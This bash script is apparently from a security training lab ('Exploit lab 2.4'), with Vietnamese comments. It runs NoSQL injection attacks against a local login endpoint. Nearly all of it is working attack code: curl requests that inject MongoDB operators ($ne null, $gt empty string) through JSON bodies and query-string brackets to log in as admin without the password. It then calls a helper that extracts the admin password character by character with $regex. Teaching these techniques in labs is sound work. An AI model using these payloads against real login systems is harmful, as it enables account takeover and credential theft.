#!/usr/bin/env bash
# Exploit lab 2.4 - NoSQL injection. Dung: PORT=8024 bash exploit.sh
set -u
PORT="${PORT:-8024}"
BASE="http://127.0.0.1:${PORT}"
CT="Content-Type: application/json"

echo "############################################################"
echo "# 0. Backend dang dung"
echo "############################################################"
curl -s "$BASE/" ; echo

echo
echo "############################################################"
echo "# 1. Dang nhap thuong (sai pass) -> 401"
echo "############################################################"
curl -s -H "$CT" -d '{"username":"admin","password":"sai"}' "$BASE/login" ; echo

echo
echo "############################################################"
echo "# 2. AUTH BYPASS (JSON): password = {\"\$ne\": null}"
echo "#    -> password != null luon dung -> dang nhap thanh admin"
echo "############################################################"
curl -s -H "$CT" -d '{"username":"admin","password":{"$ne":null}}' "$BASE/login" ; echo

echo
echo "############################################################"
echo "# 3. AUTH BYPASS khong can biet username: dung \$gt rong"
echo "#    {\"username\":{\"\$gt\":\"\"},\"password\":{\"\$gt\":\"\"}} -> user dau tien (admin)"
echo "############################################################"
curl -s -H "$CT" -d '{"username":{"$gt":""},"password":{"$gt":""}}' "$BASE/login" ; echo

echo
echo "############################################################"
echo "# 4. AUTH BYPASS (QUERY STRING): password[\$ne]=x"
echo "#    kieu framework tu parse ngoac thanh {\"\$ne\":\"x\"}"
echo "############################################################"
curl -s -G "$BASE/login" \
  --data-urlencode "username=admin" \
  --data-urlencode 'password[$ne]=x' ; echo

echo
echo "############################################################"
echo "# 5. Trich mat khau admin tung ky tu bang \$regex (xem exploit_regex.py)"
echo "############################################################"
PORT="$PORT" python3 "$(dirname "$0")/exploit_regex.py"
